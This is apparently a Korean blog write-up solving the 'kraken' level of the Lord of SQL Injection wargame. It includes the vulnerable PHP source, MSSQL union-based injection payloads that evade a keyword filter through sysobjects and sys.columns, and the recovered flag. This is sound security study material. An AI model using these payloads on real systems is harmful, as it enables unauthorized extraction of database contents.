소스코드 분석
<?php
include "./config.php";
login_chk();
$db = mssql_connect("kraken");
if(preg_match('/master|information|;/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/master|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select id from member where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['id']) echo "<h2>{$result['id']}</h2>";
if($krakenFlag === $_GET['pw']) solve("kraken");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
highlight_file(__FILE__);
?>
-
$db = mssql_connect("kraken");
> db환경이 mssql -
if($krakenFlag === $_GET['pw']) solve("kraken");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
> flag_{$hash}형태의 테이블에서 flag 탈취 -
if($result['id']) echo "<h2>{$result['id']}</h2>";
> id가 존재할 경우 id를 출력 > Union SQL Injection 가능
문제 풀이
쿼리의 from절에서 불러오는 member 테이블엔 kraken 문제의 목표라고 할 수 있는 flag 값이 존재하지 않으므로 union을 이용한다.
flag 테이블 명을 모르므로 일단 테이블 명 탈취하는 것 부터 시작한다.
mysql과 동일하게 information_schema라는 테이블이 존재한다. 필터링이 걸려있기에 information_schema 테이블을 통한 테이블 명 탈취는 어렵다.
http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
그래서 sysobjects를 이용한다. 조건절에 type='U'를 삽입하여 유저가 사용중인 테이블만 반환한다.
?id=1' union select top 2 name from sysobjects where type='U' -- -
테이블 명은 "flag_ccdfe62b"인 것을 확인했다. sqlite 환경에서의 union sql injection 문제 poltergeist에서는 운이 좋게도 첫 결과 값이 flag 테이블 명이였지만, 이번 문제에서는 특수한 조건을 걸어주지 않았을 시 a_dummy_table이라는 테이블 명을 반환한다. sqlite나 mysql이랑은 달리 limit라는 기능이 존재 하지 않아서 이를 직접 구현해주어야 한다.
top 2를 이용해서 flag 테이블 명을 반환할 수 있었지만 사실 이는 limit 1,1의 의미는 아니다 limit 0,2와 같은데 굳이 말하자면 해당 쿼리도 운이 좋아서 반환 된 것이다. 맨 위에서 2개만 뽑아서 반환했는데 어찌저찌하니 flag 테이블이 최상위로 올라오게 되면서 출력이 된 것이지. 같이 뽑힌 테이블 명에 따라 flag 테이블이 안나올 가능성이 존재한다. top에 대해 잘못 이해를 할 수도 있으므로 어째서 이런 쿼리로 뽑아낼 수 있었는지 분석해보자.
결론부터 말하자면 kraken 문제에 사용되는 테이블은 다음과 같은 순서로 생성되었다.
member가 가장 먼저, 그리고 최상위에 flag 테이블이 노출되지 않도록 만들어 둔 더미 테이블 a_dummy_table이 가장 나중에 생성되었다.
여기서 궁금증이 발생한다. 조건 없이 union select를 해주었을 때는 a_dummy_table이 가장 최상위로 나왔을 것이다. 그러면 member가 아닌 a_dummy_table이 가장 먼저 만들어졌다고 가정할 수 있다.
이는 다음 그림에서 설명 가능하다.
union이 아닌 일반적으로 한 테이블을 select하였을 때에는 만들어진 순서로 나열이 되지만, union select를 통해 별 다른 정렬 옵션 없이 값을 불러오게 되면 오름차 순으로 정렬된다. union select를 하면 오름차 순 정렬이 된다는 것을 확인했다.
여기서 또 다른 궁금증이 발생하게 될 것이다. union select로 값을 불러올 때 top n을 사용하게 되면 최상위에 있는 것 부터 n개를 뽑아올텐데 정렬이 우선인지 top이 우선인지 궁금할 것이다. 이를 직접 확인해보자.
top이 우선, 정렬이 나중으로 top 1에 의해 가장 먼저 생성된 member 테이블 명 하나를 반환하고 이를 오름차 순 정렬하여 member가 최상위로 뜨게 되었다.
union select는 디폴트로 오름차순 정렬이 되는 사실과 정렬이 나중에 되는 사실을 합쳐 top 2에서 flag 테이블 명이 최상위로 나오는 이유를 설명할 수 있다.
정렬보다 top 2가 먼저 실행되므로 먼저 생성된 테이블 기준으로 2개를 반환한다. 가장 먼저 생성된 member와 그 다음 생성된 flag 테이블 명을 반환한다. 그 다음 디폴트로 지정된 오름차 순 정렬을 실행한다. m으로 시작하는 member 테이블 보다 flag 테이블 명이 오름차순 정렬에서 먼저 반환되게 되므로 flag 테이블 명을 최상위로 반환한다.
만약 a_dummy_table이 가장 먼저 생성된 테이블이라면? 당연히 같은 쿼리임에도 불구하고 flag 테이블 명을 볼 수 없었을 것이다.
그렇다면 mysql에서 사용하는 limit와 동일한 기능을 구현하려면 어떤 식으로 쿼리를 짜야할까?
쿼리는 아래와 같다.
select a from member union select top n name from sysobjects where type='U' and name not in (select top m name from sysobjects where type='U'
이는 limit m,n을 걸어준 것과 같다. m에 1, n에 1을 넣으면 2번째인 flag 테이블 명을 반환할 것이다.
반환된 것을 확인할 수 있다.
다시 문제로 돌아가서 테이블 명을 찾았으니 flag가 들어있는 flag 컬럼을 찾도록 한다.
?id=1' union select top 3 name from sys.columns -- -
해당 쿼리도 member 테이블의 컬럼 id, pw보다 오름차순으로 flag 컬럼명이 먼저 나오기 때문에 운이 좋아 나온 것이다. 좀 더 정확하게 뽑아내려면 다음과 같은 쿼리를 요청해야한다.
?id=1' union select top 1 name from sys.columns where name not in (select top 2 name from sys.columns) -- -
찾아낸 테이블 명, 컬럼 명을 이용해 flag를 출력한다.
?id=1' union select flag_ab15b600 from flag_ccdfe62b-- -
?pw=FLAG{a0819fc56beae985bac7d175c974cd27}
클리어
'wargame > Lord Of SQL Injection' 카테고리의 다른 글
[LOS] siren (0) | 2019.07.26 |
---|---|
[LOS] cerberus (0) | 2019.07.26 |
[LOS] mummy (0) | 2019.07.26 |
[LOS] yeti (0) | 2019.07.26 |
[LOS] revenant (1) | 2019.07.26 |